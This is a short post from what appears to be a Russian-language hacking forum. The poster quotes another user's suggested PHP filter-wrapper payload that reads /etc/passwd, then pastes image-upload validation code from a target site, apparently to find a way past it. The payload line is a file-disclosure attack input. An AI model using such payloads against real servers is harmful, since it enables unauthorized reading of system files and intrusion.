Показать сообщение отдельно

  #3  
Старый 11.09.2023, 13:17
WallHack
Постоянный
Регистрация: 18.07.2013
Сообщений: 300
С нами: 6747446

Репутация: 32
По умолчанию

Цитата:

N1GGA сказал(а):

А попробуйте так

Код:
php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd
Попытка не плохая, спасибо)
Загуглил, там внури

PHP:


Код:
$wh_im
=
@
GetImageSize
(
$image_tmp_name
)
;
if
(
$wh_im
[
"mime"
]
==
'image/jpeg'
or
$wh_im
[
"mime"
]
==
'image/jpg'
)
{
$pict
=
@
imagecreatefromjpeg
(
$image_tmp_name
)
;
}
elseif
(
$wh_im
[
"mime"
]
==
'image/png'
)
{
$pict
=
@
imagecreatefrompng
(
$image_tmp_name
)
;
}
elseif
(
$wh_im
[
"mime"
]
==
'image/gif'
)
{
$pict
=
@
imagecreatefromgif
(
$image_tmp_name
)
;
}
else
{
$error
=
"Загружать можно только следующие форматы gif, jpg, jpeg, png"
;
}
if
(
!
$error
)
{
if
(
!
$pict
)
{
$error
=
"Ошибка формата картинки"
;
}
elseif
(
$image_size
==
0
or
$image_size
>
512000
)
{
$error
=
"Максималный размер файла 500 Kb."
;
}
elseif
(
@
imagecreatefromstring
(
file_get_contents
(
$image_tmp_name
)
)
===
false
)
{
$error
=
"Ошибка формата картинки"
;
}
elseif
(
$wh_im
[
0
]
!=
$w
or
$wh_im
[
1
]
!=
$h
)
{
$error
=
"Ошибка! Картинка баннера не соответствует нужному размеру "
.
$w
.
"х"
.
$h
;
}
}
 
Ответить с цитированием